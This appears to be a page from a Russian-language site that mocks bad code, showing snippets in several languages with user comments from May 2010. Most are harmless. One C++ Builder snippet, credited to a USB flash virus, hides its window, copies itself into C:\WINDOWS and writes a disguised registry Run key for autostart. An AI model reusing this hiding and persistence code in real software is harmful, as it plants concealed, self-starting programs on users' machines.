-
+75
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
public void logoutSession(String sessionId)
throws SerializableException
{
if (sessionId==null) {
throw new SerializableException("Invalid RPC arguments: sessionId is missing");
}
SessionInfo session = (SessionInfo)sessions.get(sessionId);
if (session!=null) {
sessions.remove(sessionId);
SessionInfo old = (SessionInfo)sessions.get(sessionId);
}
}
raorn,
27 Мая 2010
-
+131
- 1
- 2
- 3
- 4
- 5
- 6
object FirstElement = null;
foreach(var item in SomeCollection)
{
FirstElement = item;
break;
}
Ось так от береться перший елемент з колекції :)
O_O,
26 Мая 2010
-
−854
- 1
- 2
- 3
- 4
- 5
- 6
- 7
Select *
From Table1
Where (
(id = 2000)
or
id = ( Select max(id) from Table1 )
)
а я дивувався, чому цей код в табличці > 300 000 записів виконується так довго ...
O_O,
26 Мая 2010
-
+86
- 1
- 2
- 3
- 4
- 5
procedure Click(H: hWnd);
begin
SendMessage(H, wm_LButtonDown, 0, 0);
SendMessage(H, wm_LButtonUp, 0, 0);
end;
Как я круто по-хакерски сэмулировал нажатие на кнопку или на радиобаттон.
TarasB,
26 Мая 2010
-
+107
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
var
OGTC: cardinal; // для сверки с таймером
procedure CheckPhys;
begin
if OGTC < GetTickCount then begin
Phys; // тут считается вся игровая физика и все изменения состояний. Звуки тоже здесь.
Inc(OGTC, dT);
end;
end;
procedure Graph; // процедура отрисовки графики
var
i: integer;
begin
CheckPhys;
for i := 0 to ItemCount - 1 do with Items[i]^ do CopyPosition := Position; // делаем копию состояния перед отрисовкой мира!
for i := 0 to ItemCount - 1 do begin
ShowItem(Items[i]^); // рисуем элемент мира
CheckPhys; // проверяем, не пора ли снова считать физику
end;
end;
procedure OnIdle;
begin
if PlayingGame then Graph;
end;
Надо, чтобы в игре скорость игрового процесса не зависела от тормозов графики. Даже когда кадр долго рисуется, звуки и движения делаются строго по таймеру. Создавать лишний поток мне в лом, и вообще я дико боюсь приколов с синхронизациями и так далее. Поэтому сделал такую хрень. Сэмулировал многопоточность банальным однопоточным кодом.
TarasB,
26 Мая 2010
-
+168
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
void __fastcall TForm1::FormCreate(TObject *Sender)
{
Application->ShowMainForm=false; //прячимся
// Осваеваемся в новой системе
if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V.exe") {
//скопируемся
CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill_USB_Flash_V.exe",true);
//и пропишимся в автозагрузку:
TRegistry *reg=new TRegistry;
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
reg->CloseKey();
reg->Free();
}
ПРЯЧИМСЯ (с) всеми извесный убиватель интернетов и "пейсатель" вирусов, которые грузятся с флэшки, бугога. Самый няшный кусочек :-) Хотя там ещё было убер заражение подключённых устройств. Судите сами господа http://3.webkill.ru/flash_virus.html
This is obvious,
26 Мая 2010
-
+157
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
// Для получения имени компьютера напишите следующий код:
unsigned long Size = MAX_COMPUTERNAME_LENGTH + 1;
char *Buffer = new char[Size];
GetComputerName(Buffer, &Size);
// после выполнения данного кода имя компьютера будет
// содержаться в Buffer. После того, как Buffer перестанет быть
// вам нужным, не забудьте вызвать delete [] Buffer.
/*-------------------*/
//Изменение имени компьютера
// для изменения имени компьютера воспользуйтесь функцией
// SetComputerName
SetComputerName("НОВОЕ_ИМЯ_КОМПЬЮТЕРА");
// не забудьте перезагрузить машину
Имя компьютера - получение и изминение в C++ Builder
(c) webkill http://webkill.ru/content/?id=508
This is obvious,
26 Мая 2010
-
+160
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
bool S()
{
if(VD){std::cout<<"S";}
bool b;
if(D()==true) {b= true;}
else {b=false;};
return b;
}
bool D()
{
if(VD){std::cout<<" => D";}
bool b=true;
bool b1=DC();
bool b2=DV();
bool b3=DP();
b=b1&b2&b3;
return b;
}
bool DC()
{
if(VD){std::cout<<" => DC";}
bool b=(M[i] == "CONST");
i++;
if (b && (COK()) && (M[i] == ";")) {b=true;}
else {b=false;
};
i++;
return b;
}
Код из лабораторной работы студента 3-го курса Севастопольского национального технического университета, факультет Автоматики и вычислительной техники. Данный код является фрагментом синтаксического анализатора (методом рекурсивного спуска).
Serega_M31,
26 Мая 2010
-
+81
- 1
if (loggedInUser.getEmail().equalsIgnoreCase( "" ) ) { ... }
raorn,
26 Мая 2010
-
−349
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
Function shr(ByVal a As Long, ByVal i As Long) As Long
Dim r As Variant
r = a / (2 ^ i)
shr = Fix(r)
End Function
'используется для получения значения n-го бита таким вот образом
if (shr(value,n) mod 2)=1 then
....
end if
'в другом месте почему-то биты проверяются по-другому
For i = 2 To Len(s)
a = Asc(Mid(s, i, 1))
b = (q Mod (2 ^ (i - 1))) \ (2 ^ (i - 2))
If b = 1 Then a = a - 32 'сути этого я так и не понял
t = t + Chr(a)
Next
мастерская работа с битами. епта я б на асме это в 1 строку сделал
3.14159265,
26 Мая 2010